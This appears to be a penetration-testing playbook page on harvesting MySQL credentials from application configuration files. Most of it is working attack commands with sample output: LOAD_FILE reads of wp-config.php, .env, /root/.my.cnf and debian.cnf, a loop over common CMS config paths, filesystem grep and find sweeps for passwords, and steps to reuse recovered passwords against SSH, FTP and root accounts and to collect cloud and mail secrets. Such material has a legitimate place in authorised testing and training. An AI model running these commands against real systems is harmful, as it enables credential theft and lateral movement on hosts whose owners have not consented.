Skip to content

MySQL Credential Harvesting from Application Configs

5 min read Created Mar 26, 2026 Last updated Mar 26, 2026

Application configuration files on the web server contain plaintext MySQL credentials used by the application to connect to the database. These credentials are separate from those stored in mysql.user: they are OS-level files readable through shell access or through MySQL's LOAD_FILE function when FILE privilege is present. The recovered credentials often have elevated database privileges compared to what the current MySQL session provides, and frequently reuse passwords across multiple services on the same host.

LOAD_FILE requires the FILE privilege on the MySQL user. The target file must also be readable by the mysql OS user. Without FILE privilege, every LOAD_FILE call returns NULL. Shell access bypasses this restriction entirely. Backup files and staging configs are often overlooked but frequently contain the same credentials as production.

Read Config Files via LOAD_FILE

Target common CMS and framework configuration file locations. Start with the most widely deployed platforms:

LOAD_FILE returns NULL when the file does not exist, when the mysql OS user cannot read it, or when secure_file_priv restricts reads to a specific directory. A NULL result does not confirm the file is absent. Run SHOW VARIABLES LIKE 'secure_file_priv'; to check the restriction. If the variable holds a non-empty path, LOAD_FILE only reads files inside that directory. In that case, switch to shell access to read configs outside the allowed path.

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/var/www/html/wp-config.php');"
define('DB_NAME', 'wordpress');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'Sup3rS3cret!');
define('DB_HOST', 'localhost');
┌──(kali㉿kali)-[~]
└─$ for path in \
'/var/www/html/wp-config.php' \
'/var/www/html/configuration.php' \
'/var/www/html/config/database.php' \
'/var/www/html/app/config/database.php' \
'/var/www/html/.env' \
'/var/www/html/config.php' \
'/var/www/html/includes/config.php' \
'/var/www/html/application/config/database.php' \
'/var/www/html/sites/default/settings.php'; do
result=$(mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('$path');" 2>/dev/null)
[ -n "$result" ] && echo "=== $path ===" && echo "$result" | grep -iE 'pass|user|db_|database|host'
done

Search for Config Files via Shell Access

If shell access is available on the host, search the filesystem directly for configuration files containing MySQL credentials:

Check paths outside /var/www/ too. Applications deployed in /srv/, /opt/, and /home/ often carry their own config files. The second grep pipes matched filenames through xargs to extract credential lines directly. A config file with an empty password field is still useful: it reveals the database username and database name, which narrows further attacks. Backup copies of config files (such as wp-config.php.bak or config.php.old) are common and may contain old credentials that still work.

┌──(kali㉿kali)-[~]
└─$ grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null
/var/www/html/wp-config.php
/var/www/html/app/.env
/var/www/backup/config.php
┌──(kali㉿kali)-[~]
└─$ grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null | xargs grep -iE 'pass|user' 2>/dev/null

Read .env Files

Modern frameworks store database credentials in .env files which are often world-readable and contain all service credentials in one place:

An empty DB_PASSWORD is not a dead end. Some applications connect without a password, and the username alone may allow unauthenticated access. Laravel .env files also contain APP_KEY, queue connection credentials, and cache backend passwords. Redis and Memcached credentials in the same file are common. Test each credential pair separately against its service. The MAIL_PASSWORD and AWS_SECRET_ACCESS_KEY fields in the same file are worth collecting even if MySQL is the primary target.

┌──(kali㉿kali)-[~]
└─$ find /var/www /srv /opt /home -name '.env' -readable 2>/dev/null | xargs grep -iE 'DB_|MYSQL_|DATABASE_' 2>/dev/null
/var/www/html/.env:DB_CONNECTION=mysql
/var/www/html/.env:DB_HOST=127.0.0.1
/var/www/html/.env:DB_DATABASE=production
/var/www/html/.env:DB_USERNAME=laraveluser
/var/www/html/.env:DB_PASSWORD=LaravelProd2024!

Check MySQL Client Credential Files

Users who connect to MySQL frequently from the command line store credentials in .my.cnf files in their home directories to avoid typing passwords. These files contain plaintext credentials:

Also check /etc/mysql/debian.cnf. On Debian and Ubuntu systems this file contains the debian-sys-maint account, which carries broad MySQL privileges used for system maintenance tasks. The file is normally root-readable only, but misconfigured systems leave it world-readable. If LOAD_FILE returns this file, the credentials inside typically allow full database access. Try the recovered password against the root MySQL account as well, since administrators often reuse passwords between maintenance and root accounts.

┌──(kali㉿kali)-[~]
└─$ find /root /home -name '.my.cnf' -readable 2>/dev/null | xargs cat 2>/dev/null
[client]
user=root
password=AdminPass123
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/root/.my.cnf'); SELECT LOAD_FILE('/home/www-data/.my.cnf');"

Test Recovered Credentials

Test each recovered credential set against MySQL directly and against other services on the host. Run SHOW GRANTS FOR CURRENT_USER(); immediately after authenticating with the recovered credentials. Look for high-value grants:

  • FILE enables file read and webshell deployment
  • SUPER or SYSTEM_VARIABLES_ADMIN enables server configuration changes
  • ALL PRIVILEGES or WITH GRANT OPTION indicates DBA-level access

Try the same password against SSH, FTP, and any other services running on the host. Application database users are often created with a shared password that administrators reuse across multiple accounts on the same system. A credential that fails on MySQL may still work for SSH or a control panel.

┌──(kali㉿kali)-[~]
└─$ # $USER and $PASSWORD hold the recovered credentials from the config file
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW GRANTS FOR CURRENT_USER();"
┌──(kali㉿kali)-[~]
└─$ ssh laraveluser@$TARGET_IP

References